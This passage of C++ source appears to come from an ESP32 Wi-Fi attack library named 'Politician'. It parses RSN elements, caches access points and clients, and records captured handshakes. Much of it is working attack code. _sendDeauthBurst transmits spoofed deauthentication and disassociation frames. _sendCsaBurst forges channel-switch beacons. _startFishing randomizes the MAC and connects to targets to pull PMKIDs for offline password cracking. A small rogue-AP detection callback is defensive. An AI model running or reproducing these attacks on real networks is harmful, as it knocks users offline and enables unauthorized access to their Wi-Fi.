            // Parse robust security network AKM
            // Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
            if (len >= 10) { // Minimum length to reach AKM count assuming 0 pairwise ciphers
                uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
                if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
                uint16_t akm_offset = pos + 10 + (pw_count * 4);
                
                if (akm_offset + 2 <= pos + 2 + len) {
                    uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
                    if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
                    uint16_t list_offset = akm_offset + 2;
                    
                    for (int i=0; i < akm_count; i++) {
                        if (list_offset + 4 > pos + 2 + len) break;
                        if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC) {
                            uint8_t suite = ie[list_offset + 3];
                            if (suite == 0x01) is_enterprise = true; // 802.1X (EAP)
                            if (suite == 0x12) is_owe = true;        // OWE (AKM 18) — no PSK/PMKID
                        }
                        list_offset += 4;
                    }
                }
            }
        }
        if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
        pos += 2 + len;
    }
    
    if (is_enterprise) return ENC_ENT;
    if (is_owe)        return ENC_OWE;
    return has_rsn ? ENC_WPA2 : (has_wpa ? ENC_WPA : ENC_OPEN);
}
 
uint8_t Politician::_classifyPairwiseCipher(const uint8_t *ie, uint16_t ie_len) {
    uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos];
        uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
        if (tag == 48 && len >= 8) {
            uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
            if (pw_count > 0 && pos + 10 + 4 <= pos + 2 + len) {
                uint8_t suite_type = ie[pos + 13];
                if (suite_type == 0x02) return CIPHER_TKIP;
                if (suite_type == 0x04) return CIPHER_CCMP;
            }
        }
        pos += 2 + len;
    }
    return CIPHER_UNKNOWN;
}
 
bool Politician::_detectWpa3Only(const uint8_t *ie, uint16_t ie_len) {
    uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos];
        uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
 
        if (tag == 48 && len >= 10) { // RSN IE
            uint16_t pw_count   = ie[pos + 8] | (ie[pos + 9] << 8);
            if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
            uint16_t akm_offset = pos + 10 + (pw_count * 4);
            if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len; continue; }
 
            uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
            if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
            uint16_t list_off  = akm_offset + 2;
 
            bool has_sae     = false;
            bool has_wpa2psk = false;
            for (uint16_t i = 0; i < akm_count; i++) {
                if (list_off + 4 > pos + 2 + len) break;
                if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
                    if (ie[list_off+3] == 0x02) has_wpa2psk = true; // WPA2-PSK
                    if (ie[list_off+3] == 0x08) has_sae     = true; // SAE (WPA3)
                }
                list_off += 4;
            }
 
            // MFPR = bit 6 of RSN Capabilities
            bool mfpr = false;
            if (list_off + 2 <= pos + 2 + len) {
                uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
                mfpr = (caps & 0x0040) != 0;
            }
 
            if ((has_sae && !has_wpa2psk) || mfpr) return true;
        }
        pos += 2 + len;
    }
    return false;
}
 
bool Politician::_detectFt(const uint8_t *ie, uint16_t ie_len) {
    uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
        if (tag == 48 && len >= 10) { // RSN IE
            uint16_t pw_count  = ie[pos + 8] | (ie[pos + 9] << 8);
            if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
            uint16_t akm_off   = pos + 10 + (pw_count * 4);
            if (akm_off + 2 <= pos + 2 + len) {
                uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
                if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
                uint16_t list_off  = akm_off + 2;
                for (uint16_t i = 0; i < akm_count; i++) {
                    if (list_off + 4 > pos + 2 + len) break;
                    // OUI 00:0F:AC, suite type 3 = FT-EAP, type 4 = FT-PSK
                    if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
                        (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04)) return true;
                    list_off += 4;
                }
            }
        }
        pos += 2 + len;
    }
    return false;
}
 
void Politician::_detectPmfFlags(const uint8_t *ie, uint16_t ie_len, bool &pmf_capable, bool &pmf_required) {
    pmf_capable = false; pmf_required = false;
    uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
        if (tag == 48 && len >= 10) { // RSN IE
            uint16_t pw_count  = ie[pos + 8] | (ie[pos + 9] << 8);
            if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
            uint16_t akm_off   = pos + 10 + (pw_count * 4);
            if (akm_off + 2 <= pos + 2 + len) {
                uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
                if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
                uint16_t caps_off  = akm_off + 2 + akm_count * 4;
                if (caps_off + 2 <= pos + 2 + len) {
                    uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
                    pmf_capable  = (caps & 0x0080) != 0; // MFPC
                    pmf_required = (caps & 0x0040) != 0; // MFPR
                }
            }
        }
        pos += 2 + len;
    }
}
 
Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
    for (int i = 0; i < MAX_SESSIONS; i++) {
        if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
    }
    return nullptr;
}
 
Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
    for (int i = 0; i < MAX_SESSIONS; i++) {
        if (!_sessions[i].flags.active) {
            memset(&_sessions[i], 0, sizeof(Session));
            memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
            _sessions[i].flags.active = true; _sessions[i].created_ms = millis();
            _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
            return &_sessions[i];
        }
    }
    // Prefer evicting incomplete sessions (no M1 or M2) to avoid discarding crackable handshakes
    int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
    int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
    for (int i = 0; i < MAX_SESSIONS; i++) {
        if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
        if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
            incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
        }
    }
    int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
    _log("[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
        _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
        _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
        _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
    memset(&_sessions[evict], 0, sizeof(Session));
    memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
    _sessions[evict].flags.active = true; _sessions[evict].created_ms = millis();
    _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
    return &_sessions[evict];
}
 
Politician::ApCacheEntry* Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
                           uint8_t enc, uint8_t channel, int8_t rssi,
                           bool is_wpa3_only, bool wps,
                           bool pmf_capable, bool pmf_required,
                           bool ft_capable, uint16_t sta_count, uint8_t chan_util,
                           uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
    if (ssid_len > 32) ssid_len = 32; // defensive clamp — _parseSsid already enforces this
    // enc_filter_mask: skip uncacheable encryption types (hidden APs bypass — SSID unknown yet)
    if (ssid_len > 0 && !(_cfg.enc_filter_mask & (1 << enc))) return nullptr;
 
    // ssid_filter: skip APs that don't match the SSID filter (hidden APs bypass — SSID unknown yet)
    if (ssid_len > 0 && _cfg.ssid_filter[0] != '\0') {
        if (_cfg.ssid_filter_exact) {
            if (ssid_len != strlen(_cfg.ssid_filter) || memcmp(ssid, _cfg.ssid_filter, ssid_len) != 0) return nullptr;
        } else {
            if (strstr(ssid, _cfg.ssid_filter) == nullptr) return nullptr;
        }
    }
 
    uint32_t now = millis();
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
            _apCache[i].enc = enc; _apCache[i].channel = channel;
            _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
            _apCache[i].flags.is_wpa3_only  = is_wpa3_only;
            _apCache[i].flags.wps_enabled   = wps;
            _apCache[i].flags.pmf_capable   = pmf_capable;
            _apCache[i].flags.pmf_required  = pmf_required;
            _apCache[i].flags.ft_capable    = ft_capable;
            _apCache[i].last_seen_ms = now;
            _apCache[i].sta_count     = sta_count;
            _apCache[i].chan_util     = chan_util;
            _apCache[i].venue_group   = venue_group;
            _apCache[i].venue_type    = venue_type;
            _apCache[i].network_type  = network_type;
            if (sta_count > 0) _apCache[i].flags.has_active_clients = true;
            if (ssid_len > 0) _apCache[i].flags.is_hidden = false;
            if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
            return &_apCache[i];
        }
    }
    
    int slot = -1;
    uint32_t oldest_ms = UINT32_MAX;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active) {
            slot = i;
            break;
        }
        if (_apCache[i].last_seen_ms < oldest_ms) {
            oldest_ms = _apCache[i].last_seen_ms;
            slot = i;
        }
    }
    if (slot == -1) slot = 0;
 
    _apCache[slot].flags.active = true; _apCache[slot].last_probe_ms = 0;
    _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
    _apCache[slot].last_hidden_probe_ms = 0;
    _apCache[slot].known_sta_count = 0;
    _apCache[slot].beacon_count = 1;
    _apCache[slot].total_attempts = 0;
    _apCache[slot].chan_width = 0;
    _apCache[slot].probe_word_idx = 0;
    _apCache[slot].last_attack_ms = 0;
    _apCache[slot].capture_count = 0;
    _apCache[slot].pairwise_cipher = CIPHER_UNKNOWN;
    _apCache[slot].flags.is_vht    = false;
    _apCache[slot].flags.is_hidden = (ssid_len == 0);
    _apCache[slot].flags.is_he     = false;
    _apCache[slot].flags.wps_enabled   = wps;
    _apCache[slot].flags.pmf_capable   = pmf_capable;
    _apCache[slot].flags.pmf_required  = pmf_required;
    _apCache[slot].flags.ft_capable    = ft_capable;
    _apCache[slot].sta_count     = sta_count;
    _apCache[slot].chan_util     = chan_util;
    _apCache[slot].venue_group   = venue_group;
    _apCache[slot].venue_type    = venue_type;
    _apCache[slot].network_type  = network_type;
    _apCache[slot].flags.has_active_clients = (sta_count > 0);
    memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
    _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
    _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
 
    // Rogue AP detection: fire callback if another active AP shares the same SSID on the same channel
    if (_rogueApCb && ssid_len > 0) {
        for (int i = 0; i < MAX_AP_CACHE; i++) {
            if (i == slot || !_apCache[i].flags.active) continue;
            if (_apCache[i].channel != channel) continue;
            if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
            if (memcmp(_apCache[i].bssid, bssid, 6) == 0) continue;
            RogueApRecord rec;
            memset(&rec, 0, sizeof(rec));
            memcpy(rec.known_bssid, _apCache[i].bssid, 6);
            memcpy(rec.rogue_bssid, bssid, 6);
            memcpy(rec.ssid, ssid, ssid_len + 1);
            rec.ssid_len = ssid_len;
            rec.channel  = channel;
            rec.rssi     = rssi;
            _rogueApCb(rec);
            break;
        }
    }
    return &_apCache[slot];
}
 
bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) const {
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
        }
    }
    out_ssid[0] = '\0'; out_len = 0; return false;
}
 
int Politician::getApCount() const {
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
    int n = 0;
    for (int i = 0; i < MAX_AP_CACHE; i++) if (_apCache[i].flags.active) n++;
    xSemaphoreGiveRecursive(_lock);
    return n;
}
 
bool Politician::getAp(int idx, ApRecord &out) const {
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
    int found = 0;
    bool ok = false;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active) continue;
        if (found == idx) {
            memcpy(out.bssid, _apCache[i].bssid, 6);
            memcpy(out.ssid,  _apCache[i].ssid,  33);
            out.ssid_len       = _apCache[i].ssid_len;
            out.enc            = _apCache[i].enc;
            out.channel        = _apCache[i].channel;
            out.rssi           = _apCache[i].rssi;
            out.wps_enabled    = _apCache[i].flags.wps_enabled;
            out.pmf_capable    = _apCache[i].flags.pmf_capable;
            out.pmf_required   = _apCache[i].flags.pmf_required;
            out.total_attempts = _apCache[i].total_attempts;
            out.captured       = _isCaptured(_apCache[i].bssid);
            out.ft_capable      = _apCache[i].flags.ft_capable;
            out.first_seen_ms   = _apCache[i].first_seen_ms;
            out.last_seen_ms    = _apCache[i].last_seen_ms;
            memcpy(out.country, _apCache[i].country, 3);
            out.beacon_interval = _apCache[i].beacon_interval;
            out.max_rate_mbps   = _apCache[i].max_rate_mbps;
            out.is_hidden       = _apCache[i].flags.is_hidden;
            out.sta_count       = _apCache[i].sta_count;
            out.chan_util       = _apCache[i].chan_util;
            out.venue_group     = _apCache[i].venue_group;
            out.venue_type      = _apCache[i].venue_type;
            out.network_type    = _apCache[i].network_type;
            out.is_vht          = _apCache[i].flags.is_vht;
            out.is_he           = _apCache[i].flags.is_he;
            out.chan_width       = _apCache[i].chan_width;
            out.beacon_count     = _apCache[i].beacon_count;
            out.capture_count    = _apCache[i].capture_count;
            out.last_attack_ms   = _apCache[i].last_attack_ms;
            ok = true; break;
        }
        found++;
    }
    xSemaphoreGiveRecursive(_lock);
    return ok;
}
 
bool Politician::getApByBssid(const uint8_t *bssid, ApRecord &out) const {
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
    bool ok = false;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
        memcpy(out.bssid, _apCache[i].bssid, 6);
        memcpy(out.ssid,  _apCache[i].ssid,  33);
        out.ssid_len       = _apCache[i].ssid_len;
        out.enc            = _apCache[i].enc;
        out.channel        = _apCache[i].channel;
        out.rssi           = _apCache[i].rssi;
        out.wps_enabled    = _apCache[i].flags.wps_enabled;
        out.pmf_capable    = _apCache[i].flags.pmf_capable;
        out.pmf_required   = _apCache[i].flags.pmf_required;
        out.total_attempts = _apCache[i].total_attempts;
        out.captured       = _isCaptured(_apCache[i].bssid);
        out.ft_capable      = _apCache[i].flags.ft_capable;
        out.first_seen_ms   = _apCache[i].first_seen_ms;
        out.last_seen_ms    = _apCache[i].last_seen_ms;
        memcpy(out.country, _apCache[i].country, 3);
        out.beacon_interval = _apCache[i].beacon_interval;
        out.max_rate_mbps   = _apCache[i].max_rate_mbps;
        out.is_hidden       = _apCache[i].flags.is_hidden;
        out.sta_count       = _apCache[i].sta_count;
        out.chan_util       = _apCache[i].chan_util;
        out.venue_group     = _apCache[i].venue_group;
        out.venue_type      = _apCache[i].venue_type;
        out.network_type    = _apCache[i].network_type;
        out.is_vht          = _apCache[i].flags.is_vht;
        out.is_he           = _apCache[i].flags.is_he;
        out.chan_width       = _apCache[i].chan_width;
        out.beacon_count     = _apCache[i].beacon_count;
        out.capture_count    = _apCache[i].capture_count;
        out.last_attack_ms   = _apCache[i].last_attack_ms;
        ok = true; break;
    }
    xSemaphoreGiveRecursive(_lock);
    return ok;
}
 
void Politician::forEachAp(void (*cb)(const ApRecord &ap, void *ctx), void *ctx) const {
    if (!cb || !_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active) continue;
        ApRecord out;
        memset(&out, 0, sizeof(out));
        memcpy(out.bssid, _apCache[i].bssid, 6);
        memcpy(out.ssid, _apCache[i].ssid, 33);
        out.ssid_len = _apCache[i].ssid_len;
        out.enc = _apCache[i].enc;
        out.channel = _apCache[i].channel;
        out.rssi = _apCache[i].rssi;
        out.wps_enabled = _apCache[i].flags.wps_enabled;
        out.pmf_capable = _apCache[i].flags.pmf_capable;
        out.pmf_required = _apCache[i].flags.pmf_required;
        out.total_attempts = _apCache[i].total_attempts;
        out.captured = _isCaptured(_apCache[i].bssid);
        out.ft_capable = _apCache[i].flags.ft_capable;
        out.first_seen_ms = _apCache[i].first_seen_ms;
        out.last_seen_ms = _apCache[i].last_seen_ms;
        memcpy(out.country, _apCache[i].country, 3);
        out.beacon_interval = _apCache[i].beacon_interval;
        out.max_rate_mbps = _apCache[i].max_rate_mbps;
        out.is_hidden = _apCache[i].flags.is_hidden;
        out.sta_count = _apCache[i].sta_count;
        out.chan_util = _apCache[i].chan_util;
        out.venue_group = _apCache[i].venue_group;
        out.venue_type = _apCache[i].venue_type;
        out.network_type = _apCache[i].network_type;
        out.is_vht = _apCache[i].flags.is_vht;
        out.is_he = _apCache[i].flags.is_he;
        out.chan_width = _apCache[i].chan_width;
        out.beacon_count = _apCache[i].beacon_count;
        out.capture_count = _apCache[i].capture_count;
        out.last_attack_ms = _apCache[i].last_attack_ms;
        cb(out, ctx);
    }
    xSemaphoreGiveRecursive(_lock);
}
 
#ifndef POLITICIAN_NO_STD_FUNCTION
void Politician::forEachAp(std::function<void(const ApRecord &ap)> cb) const {
    forEachAp([](const ApRecord &ap, void *ctx) {
        (*static_cast<std::function<void(const ApRecord &)>*>(ctx))(ap);
    }, &cb);
}
#endif
 
int Politician::getClientCount(const uint8_t *bssid) const {
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
    int count = 0;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            count = _apCache[i].known_sta_count; break;
        }
    }
    xSemaphoreGiveRecursive(_lock);
    return count;
}
 
bool Politician::getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const {
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
    bool ok = false;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
        if (idx >= 0 && idx < _apCache[i].known_sta_count) {
            memcpy(out_sta, _apCache[i].known_stas[idx], 6);
            ok = true;
        }
        break;
    }
    xSemaphoreGiveRecursive(_lock);
    return ok;
}
 
bool Politician::_lookupEnc(const uint8_t *bssid, uint8_t &out_enc) const {
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            out_enc = _apCache[i].enc; return true;
        }
    }
    out_enc = 0; return false;
}
 
bool Politician::_lookupCipher(const uint8_t *bssid, uint8_t &out_cipher) const {
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            out_cipher = _apCache[i].pairwise_cipher;
            return true;
        }
    }
    out_cipher = CIPHER_UNKNOWN;
    return false;
}
 
void Politician::_incCaptureCount(const uint8_t *bssid) {
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            if (_apCache[i].capture_count < 255) _apCache[i].capture_count++;
            break;
        }
    }
}
 
bool Politician::_isCaptured(const uint8_t *bssid) const {
    for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
    
    int left = 0, right = _capturedCount - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        int cmp = memcmp(_captured[mid], bssid, 6);
        if (cmp == 0) return true;
        if (cmp < 0) left = mid + 1;
        else right = mid - 1;
    }
    return false;
}
 
void Politician::_sendDeauthBurst(uint8_t count, const uint8_t *sta) {
    static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
    const uint8_t *da = (_cfg.unicast_deauth && sta != nullptr) ? sta : BROADCAST;
 
    uint8_t deauth[26] = {
        0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
        da[0], da[1], da[2], da[3], da[4], da[5], // DA
        _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
        _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
        0x00, 0x00,              // Seq
        _cfg.deauth_reason, 0x00 // Reason code (default 7)
    };
 
    static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
    uint8_t num_reasons = sizeof(REASONS) / sizeof(REASONS[0]);
 
    for (int i = 0; i < count; i++) {
        deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0; // Alternate between Deauth (0xC0) and Disassoc (0xA0)
        deauth[22] = (i << 4) & 0xFF;
        if (_cfg.deauth_reason_cycling) {
            deauth[24] = REASONS[i % num_reasons];
        }
        esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
        delay(2);
    }
    _log("[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.deauth_reason_cycling ? "Fuzzing" : "Static", _fishChannel, (da[0] == 0xFF) ? "broadcast" : "unicast");
}
 
void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
    if (ssid_len == 0) return;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
        if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
    }
}
 
void Politician::_markCaptured(const uint8_t *bssid) {
    if (_isCaptured(bssid)) return;
    if (_capturedCount >= MAX_CAPTURED) return; // list full — never overwrite existing entries
    
    int pos = 0;
    while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
    
    if (pos < _capturedCount) {
        memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
    }
    memcpy(_captured[pos], bssid, 6);
    _capturedCount++;
    
    _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
}
 
void Politician::_expireSessions(uint32_t timeoutMs) {
    uint32_t now = millis();
    for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active = false;
}
 
const char* Politician::getVendor(const uint8_t *mac) {
#ifndef POLITICIAN_NO_DB
    int left = 0, right = fingerprint::_FP_OUI_DB_COUNT - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        int cmp = memcmp(fingerprint::_FP_OUI_DB[mid].oui, mac, 3);
        if (cmp == 0) return fingerprint::_FP_VENDORS[fingerprint::_FP_OUI_DB[mid].vendor_idx];
        if (cmp < 0) left = mid + 1;
        else right = mid - 1;
    }
#endif
    return "";
}
 
void Politician::_randomizeMac() {
    uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
    mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
    mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
    esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
    _log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
 
void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
    if (_fishState != FISH_IDLE) return;
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
            _log("[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
    }
    _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
    wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
    memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
    esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
    memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
    _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            _apCache[i].last_attack_ms = _fishStartMs;
            break;
        }
    }
    _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
    _probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
    _log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
}
 
void Politician::_sendCsaBurst() {
    uint8_t frame[100]; int p = 0;
    frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
    for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
    frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
    frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
    frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
    frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
    frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
    for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
    _log("[CSA] Sent burst on ch%d\n", _fishChannel);
}
 
void Politician::_processFishing() {
    if (_fishState == FISH_IDLE) return;
    if (_fishState == FISH_CSA_WAIT) {
        if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
        
        if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK && _csaFallbackMs > 0 && millis() >= _csaFallbackMs) {
            _csaFallbackMs = 0;
            const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
            _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
            _log("[Attack] CSA fallback triggered — sending Deauth burst\n");
        }
 
        uint8_t effMask = _getAttackMask(_fishBssid);
        if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
            _csaSecondBurstSent = true;
            if (effMask & ATTACK_CSA) _sendCsaBurst();
            static const uint8_t zero_mac[6] = {};
            if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
                const uint8_t *known_sta2 = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
